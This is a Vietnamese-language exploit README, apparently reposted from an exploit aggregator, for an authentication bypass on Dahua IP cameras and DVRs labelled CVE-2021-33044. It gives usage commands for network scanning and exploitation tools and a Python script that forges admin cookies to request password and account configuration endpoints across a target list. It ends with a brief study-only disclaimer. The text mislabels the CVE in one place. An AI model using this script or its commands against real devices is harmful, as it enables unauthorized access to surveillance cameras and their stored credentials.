Share
## https://sploitus.com/exploit?id=671F5C5A-5DF1-5396-BCA3-038841185E26
# Mô phỏng khai thác Dahua Authentication Bypass PoC (CVE-2021-33044)

## Tổng quan
Camera IP Dahua là thiết bị IoT được sử dụng phổ biến trong các hệ thống giám sát an ninh. Do thường xuyên được triển khai trong mạng nội bộ hoặc truy cập từ Internet, các lỗ hổng bảo mật trên camera IP có thể gây ảnh hưởng nghiêm trọng đến quyền riêng tư và an toàn thông tin.

CVE-2021-33045 là lỗ hổng bảo mật tồn tại trên một số dòng camera Dahua, cho phép truy cập trái phép vào các tài nguyên cấu hình nội bộ mà không cần xác thực hợp lệ. Lỗ hổng này xuất phát từ cơ chế kiểm soát truy cập không chặt chẽ trong firmware của thiết bị.
#### Thông tin lỗ hổng
| Mục | Nội dung |
|-----|---------|
| CVE | CVE-2021-33044 |
| Loại | Authentication Bypass |
| Mức độ | Critical (CVSS ~9.8) |
| Auth | Không cần xác thực |
| Ảnh hưởng | Dahua Camera / DVR / NVR |

## Nguyên nhân
Lỗ hổng xuất phát thiết kế xác thực không an toàn trong firmware của camera Dahua:

- Server không kiểm tra đúng session/token  
- Tin tưởng dữ liệu gửi từ client  
- Một số endpoint cấu hình nhạy cảm chỉ kiểm tra sự tồn tại của cookie, không kiểm tra quyền truy cập thực sự

Điều này cho phép attacker:
- giả mạo quá trình xác thực
- bypass login hoàn toàn

Tham khảo: 
  - [NVD CVE-2021-33044](https://nvd.nist.gov/vuln/detail/CVE-2021-33044)
  - http://seclists.org/fulldisclosure/2021/Oct/13

---

## Cách thức hoạt động của cơ chế bỏ qua xác thực
### Flow bình thường
```text
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
```
## Kịch bản

| File | Mục đihcs | CVEs |
|------|---------|------|
| `dahua_scanner.py` | Khám phá mạng — tìm camera Dahua trên mạng con | Phát hiện |
| `dahua_exploit.py` | Công cụ quét Multi-CVE — kiểm tra tất cả các lỗ hổng bảo mật. | Tất cả |
| `dahua_auth_bypass.py` | Bỏ qua xác thực chuyên dụng với tùy chọn `--dump`  | CVE-2021-33044 |
## Cách sử dụng
### Cài đặt
```bash
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044

pip install requests
```
### Quét mạng
```bash
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800

# Single host with port
python dahua_scanner.py https://example.com

```

  Common Dahua ports: `80,443, 8080, 37777, 37778`

### Khai thác lỗ hổng CVE
```bash
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044  #CVE
python dahua_exploit.py --help
```

### Bỏ qua xác thực
```bash
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com  # Dump thiết bị sau khi bypass
```
#### Ví dụ
```python
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()

def dump_accounts(ip, port=80):
    base = f"http://{ip}:{port}"
    cookies = {
        "userName": "admin",
        "userLevel": "1",
        "sessionID": "00000000"
    }
    urls = [
        "/current_config/passwd",
        "/current_config/Account1",
        "/current_config/UserMgr",
        "/current_config/accounts"
    ]

    for path in urls:
        try:
            r = requests.get(
                base + path,
                cookies=cookies,
                verify=False,
                timeout=8
            )
            if r.status_code == 200 and len(r.text) > 30:
                print(f"[+] {ip}:{port}  VULNERABLE → {path}")
                return
        except:
            pass

    print(f"[-] {ip}:{port}  safe / patched")

for line in open("targets.txt"):
    t = line.strip()
    if not t or t.startswith("#"):
        continue
    ip = t.split(":")[0]
    port = int(t.split(":")[1]) if ":" in t else 80
    dump_accounts(ip, port)
```
#### Giải thích
- Script sử dụng thư viện `requests` và chủ động tắt cảnh báo SSL dùng để vô hiệu hóa cảnh báo SSL

- Hàm `dump_accounts(ip, port=80)` là hàm chính chịu trách nhiệm kiểm tra một thiết bị camera.
Chức năng chính của hàm dùng để:
  - Xây dựng URL từ địa chỉ IP và cổng
  - Giả lập trạng thái đăng nhập quản trị thông qua cookie
  - Gửi request đến các endpoint cấu hình nhạy cảm
  - Phân tích phản hồi để xác định thiết bị có bị ảnh hưởng hay không

- Giả lập cookie xác thực. Hàm sử dụng các giá trị cookie như:
  - `userName=admin`
  - `userLevel=1`
  - `sessionID=00000000`

- Trong các phiên bản camera bị ảnh hưởng, backend không xác minh sessionID thực tế, dẫn đến việc hệ thống tin rằng request được gửi từ tài khoản quản trị hợp lệ.

#### Vòng lặp xử lý danh sách mục tiêu
Script đọc danh sách mục tiêu từ file đầu vào, lần lượt gọi hàm kiểm tra cho từng thiết bị. Cách tiếp cận này cho phép đánh giá nhiều camera một cách tự động.



## Quá trình phát triển
Các script này được phát triển dựa trên:
- Chi tiết CVE được công bố từ NVD
- Thông báo bảo mật của Dahua
- Các tài liệu tham khảo PoC công khai (seclists.org, packetstormsecurity)

**Tình trạng thử nghiệm:**
- Logic bỏ qua xác thực được triển khai theo thông số kỹ thuật CVE
- Thử nghiệm hạn chế trên các thiết bị dễ bị tổn thương.

## Lưu ý 
Dự án này:
- Chỉ dùng cho mục đích học tập và nghiên cứu
- Hãy chạy trong môi trường lab cá nhân